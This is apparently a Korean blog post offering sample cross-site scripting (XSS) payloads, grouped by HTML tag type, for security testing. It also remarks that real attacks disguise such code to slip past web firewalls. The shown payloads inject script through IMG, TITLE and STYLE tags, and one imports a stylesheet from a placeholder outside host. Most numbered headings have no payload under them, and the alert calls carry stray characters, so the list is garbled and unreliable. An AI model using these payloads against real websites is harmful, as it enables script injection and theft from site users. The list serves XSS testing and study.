inxight: XSS 공격 Sample Code

XSS 공격은 다양한 형태의 취약성과 결합하여 피해와 위험 모두 커지고 있습니다.

이에 대표적인 XSS 공격 셈플 코드를 보시고 필요하신 분들은 보안 테스트를 해보시기 바랍니다.

본 코드들은 대부분의 웹어플리케이션 보안시스템(웹방화벽 등)에서는 시그니쳐 등에 의해서 기본적으로 필터링이 되는것이 당연할 테니 실제로 해킹에 적용할때는 다양한 변형방법을 통한

코드 변조가 이뤄집니다.

대표적으로 다양한 TAG나 자바스크립트등을 이용하는데, 이 방법 역시 다양한 코드 변환 기법이 있어 막는자 입장에서는 쉽지 않은 게임이라고 봅니다.

===================================샘플 코드 시작=======================================

[1] XSS Javascript Injection

[2] Image XSS의 다양한 Type

<IMG """><SCRIPT>alert!("XSS")</SCRIPT>">

<IMG SRC="#"

[3] Non-alpha-non-digit XSS

[4] Title Tag XSS

</TITLE><SCRIPT>alert!("XSS");</SCRIPT>

[5] Input Tag XSS

[6] Body Tag XSS

<BODY >

[7] Meta Tag XSS

[8] Frame Tag XSS

[9] Table Tag XSS

[10] DIV Tag XSS

[11] Style Tag XSS

<STYLE>@import!'http://xxx/xss.css';</STYLE>

<STYLE>li {list-style-image: url("javascript:alert!('XSS')");}</STYLE><UL><LI>XSS

<STYLE>@im\port'\ja\vasc\ript:alert!("XSS")';</STYLE>

<STYLE>.XSS{background-image:url("javascript:alert!('XSS')");}</STYLE><A CLASS=XSS></A>

<STYLE type="text/css">BODY{background:url("javascript:alert!('XSS')")}</STYLE>

[12] Various Tag XSS

[13] Other Types

<<SCRIPT>alert!("XSS");//<</SCRIPT>

<SCRIPT>a=/XSS/alert!(a.source)</SCRIPT>

\";alert!('XSS');//

¼script¾alert!(¢XSS¢)¼/script¾

inxight